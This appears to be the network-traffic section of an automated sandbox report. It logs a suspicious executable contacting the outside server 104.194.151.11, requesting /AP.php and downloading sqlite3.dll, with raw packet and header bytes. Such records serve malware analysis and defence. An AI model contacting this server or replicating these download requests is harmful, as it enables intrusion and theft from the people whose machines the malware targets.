Aug 24, 2024 11:02:02.291815996 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.291826963 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.291836023 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.291861057 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.291861057 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.291867971 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.291878939 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.291887999 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.291888952 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.291898966 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.291908979 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.291918039 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.291929960 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.291933060 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.291940928 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.291953087 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.291964054 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.291969061 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.291975975 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.291986942 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.291997910 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.292004108 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.292016029 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.292021036 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.292026043 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.292037964 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.292047024 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.292048931 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.292061090 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.292071104 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.292094946 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.292115927 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.292119026 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.292126894 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.292145014 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.292155981 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.292160034 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.292167902 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.292195082 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.292207956 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.292243958 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.292260885 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.292273045 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.292284012 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.292294979 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.292299986 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.292305946 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.292316914 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.292327881 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.292335987 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.292363882 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.292378902 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.292426109 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.292437077 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.292447090 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.292458057 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.292469978 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.292486906 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.292488098 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.292500019 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.292510986 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.292516947 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.292541981 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.292551994 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.292567968 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.292579889 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.292592049 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.292639971 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.292694092 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.292706013 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.292716980 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.292726994 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.292737961 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.292748928 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.292754889 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.292759895 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.292772055 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.292782068 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.292782068 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.292809010 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.292825937 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.292836905 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.292865038 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.292884111 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.292890072 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.292901993 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.292912960 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.292922974 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.292927027 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.292949915 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.292969942 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.382294893 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.382308960 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.382318974 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.382335901 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.382345915 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.382356882 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.382368088 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.382370949 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.382380009 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.382424116 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.382726908 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.382760048 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.382771015 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.382781029 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.382803917 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.382818937 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.412794113 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.417622089 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.581938028 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.581964016 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.581974983 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.581988096 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.582005978 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.582016945 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.582026958 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.582032919 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.582043886 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.582056046 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.582065105 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.582077026 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.582086086 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.582087040 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.582104921 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.582114935 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.582122087 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.582134008 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.582156897 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.582166910 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.582178116 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.582180023 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.582192898 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.582204103 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.582214117 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.582218885 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.582225084 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.582240105 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.582246065 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.582251072 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.582261086 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.582267046 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.582273960 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.582283974 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.582289934 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.582310915 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.582321882 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.582334995 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.582340002 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.582365036 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.582377911 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.582480907 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.582492113 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.582506895 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.582523108 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.582523108 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.582535028 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.582536936 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.582545996 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.582551956 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.582557917 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.582568884 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.582575083 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.582601070 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.582609892 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.582638025 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.582648039 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.582658052 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.582668066 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.582678080 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.582688093 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.582688093 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.582703114 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.582714081 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.582720995 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.582726002 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.582739115 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.582739115 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.582748890 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.582756996 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.582766056 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.582777023 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.582789898 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.582792044 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.582799911 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.582808971 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.582824945 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.582840919 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.582917929 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.582928896 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.582938910 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.582952023 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.582962036 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.582967043 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.582973957 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.582993031 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.583004951 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.583005905 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.583014965 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.583017111 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.583028078 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.583035946 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.583040953 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.583050966 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.583065987 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.583081007 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.583082914 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.583092928 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.583105087 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.583111048 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.583115101 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.583129883 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.583132029 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.583142042 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.583144903 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.583153009 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.583175898 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.583195925 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.583208084 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.583220005 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.583230019 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.583251953 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.583283901 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.917124033 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.917124033 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.922243118 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.922256947 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.922267914 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.922276974 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.922293901 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.922303915 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.922312975 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.922329903 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.922389030 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.922415018 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.922446012 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.922480106 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.922480106 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.922491074 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.922513962 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.922533035 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.927217960 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.927341938 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.927351952 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.927402973 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.927423954 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.927455902 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.927462101 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.927481890 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.927551031 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.927584887 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.927673101 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.927681923 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.927747965 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.927757025 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.927951097 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.928028107 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:02.932307005 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.932374954 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.932385921 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.932456017 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.932507038 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.932636023 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.932739019 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.932748079 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.932755947 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.932777882 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.932786942 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.932869911 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.932878017 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.932920933 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.932934046 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.932972908 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.932981968 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.932986975 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.932996035 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.933012009 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.933069944 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.933078051 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:02.933087111 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:03.313175917 CEST	80	49704	104.194.151.11	192.168.2.5
Aug 24, 2024 11:02:03.313261986 CEST	49704	80	192.168.2.5	104.194.151.11
Aug 24, 2024 11:02:03.962644100 CEST	49704	80	192.168.2.5	104.194.151.11

HTTP Request Dependency Graph

104.194.151.11

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	104.194.151.11	80	6592	C:\Users\user\Desktop\BBiIn5gqhd.exe

Timestamp	Bytes transferred	Direction	Data
Aug 24, 2024 11:01:56.819986105 CEST	95	OUT	GET /AP.php HTTP/1.1 Host: 104.194.151.11 Connection: Keep-Alive Cache-Control: no-cache
Aug 24, 2024 11:01:57.435911894 CEST	384	IN	HTTP/1.1 200 OK Date: Sat, 24 Aug 2024 09:01:57 GMT Server: Apache/2.4.58 (Ubuntu) Set-Cookie: PHPSESSID=b3u9hav1olc0n52fh9vffsg04r; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 12 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 58 77 78 66 44 46 38 4d 58 78 38 Data Ascii: MXwxfDF8MXx8
Aug 24, 2024 11:01:57.443042994 CEST	122	OUT	GET /sqlite3.dll HTTP/1.1 Host: 104.194.151.11 Cache-Control: no-cache Cookie: PHPSESSID=b3u9hav1olc0n52fh9vffsg04r
Aug 24, 2024 11:01:57.612552881 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 24 Aug 2024 09:01:57 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Mon, 19 Aug 2024 19:27:59 GMT ETag: "9d9d8-6200e4e88720f" Accept-Ranges: bytes Content-Length: 645592 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 13 00 ea 98 3d 53 00 76 08 00 3f 0c 00 00 e0 00 06 21 0b 01 02 15 00 d0 06 00 00 e0 07 00 00 06 00 00 58 10 00 00 00 10 00 00 00 e0 06 00 00 00 90 60 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 20 09 00 00 06 00 00 38 c3 0a 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 b0 07 00 98 19 00 00 00 d0 07 00 4c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 fc 27 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 07 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL=Sv?!X` 8 L'p.text`0`.data@@.rdata$@@@.bss@.edata@0@.idataL@0.CRT@0.tls @0.reloc'(@0B/4`0@@B/19@@B/35MP@B/51`C`D@B/638@B/77F@B/89
Aug 24, 2024 11:01:57.612567902 CEST	1236	IN	Data Raw: 04 05 00 00 00 d0 08 00 00 06 00 00 00 52 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 31 30 32 00 00 00 00 0d 01 00 00 00 e0 08 00 00 02 00 00 00 58 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 31 31 33 00 00 00 00 db 19 Data Ascii: R@0B/102X@B/113Z@B/124t@B
Aug 24, 2024 11:01:57.612576962 CEST	1236	IN	Data Raw: bf 04 00 99 f7 ff 8b 55 cc 8d 7c 02 02 2b 7d d8 69 c3 ad 8e 00 00 05 fc 5a 44 0a bb 64 00 00 00 99 f7 fb 01 c7 8d 46 01 69 c0 51 ab 04 00 66 bb 10 27 99 f7 fb 01 c7 d9 05 88 9b 97 60 57 da 2c 24 83 c4 04 d8 0d 8c 9b 97 60 d9 7d ee 66 8b 45 ee 80 Data Ascii: U\|+}iZDdFiQf'`W,$`}fEfEm}m]uqAy)tZiQ`iA6`I m}mEUQy+t!iY`)QA(A)A+,[^_UWVS,x(xu
